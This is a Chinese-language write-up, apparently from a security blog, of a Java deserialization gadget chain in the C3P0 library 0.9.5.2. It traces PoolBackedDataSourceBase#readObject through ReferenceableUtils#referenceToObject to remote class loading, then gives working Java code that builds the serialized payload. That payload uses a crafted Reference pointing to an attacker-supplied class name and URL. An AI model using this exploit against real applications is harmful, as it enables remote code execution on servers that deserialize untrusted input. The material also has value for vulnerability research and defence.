C3P0 反序列化
依赖
<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>
Gadget
/** Gadget:* PoolBackedDataSourceBase#readObject* ReferenceIndirector$ReferenceSerialized#getObject* ReferenceableUtils#referenceToObject* Class#forName* */
ReferenceableUtils#referenceToObject
方法可以调用 Class#forname
加载远程对象,只要控制了方法的第一个参数
ReferenceIndirector$ReferenceSerialized#getObject
方法调用到 ReferenceableUtils#referenceToObject
方法,且第一个参数为 reference
属性
PoolBackedDataSourceBase#readObject
调用到 ReferenceIndirector$ReferenceSerialized#getObject
方法,从输入流中获取对象,如果这个对象是 IndirectlySerialized
的实例则调用其 getObject
方法,那么这里设法让获取到的对象为 ReferenceIndirector$ReferenceSerialized
,且让其 reference
属性为恶意构造的 Reference
对象
ReferenceIndirector$ReferenceSerialized
本来就实现了 IndirectlySerialized
接口,那么接下来看看 PoolBackedDataSourceBase#writeObject
方法
indirector.indirectForm()
方法会返回 ReferenceIndirector$ReferenceSerialized
对象,那么就需要进入catch 语句块,让 connectionPoolDataSource
属性为没有实现序列化接口的对象即可,跟进一下indirector.indirectForm()
方法
跟进逻辑 ReferenceIndirector$ReferenceSerialized.reference
属性由 connectionPoolDataSource
属性的 getReference
方法返回值设置,那么自定义一个对象并重写 getReference
方法,然后赋值这个对象给 connectionPoolDataSource
属性
根据分析自定义的类需要实现 Referenceable
、ConnectionPoolDataSource
接口,防止抛出错误而导致没有完成整个过程
public class C3P0 {
public static byte[] getSerializeData() throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase) Reflect.reflectGetObject("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase", new Class[]{
}, new Object[]{
});// 反射设置 PoolBackedDataSourceBase.connectionPoolDataSource 属性为构造的 MiddleClass 对象Reflect.reflectSetField(poolBackedDataSourceBase,"connectionPoolDataSource",new MiddleClass());byte[] bytes = SerWithUnSer.serialize(poolBackedDataSourceBase);return bytes;}public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerialize(bytes);}// 构造的 MiddleClass 对象需要实现 Referenceable、ConnectionPoolDataSource 接口,防止抛出错误而导致没有完成整个过程static class MiddleClass implements Referenceable , ConnectionPoolDataSource {
@Overridepublic Reference getReference() throws NamingException {
// 返回构造的恶意 Reference 对象return new Reference("1",ParseArgs.c3p0EvilObj,ParseArgs.c3p0Url);}@Overridepublic PooledConnection getPooledConnection() throws SQLException {
return null;}@Overridepublic PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;}@Overridepublic PrintWriter getLogWriter() throws SQLException {
return null;}@Overridepublic void setLogWriter(PrintWriter out) throws SQLException {
}@Overridepublic void setLoginTimeout(int seconds) throws SQLException {
}@Overridepublic int getLoginTimeout() throws SQLException {
return 0;}@Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;}}
}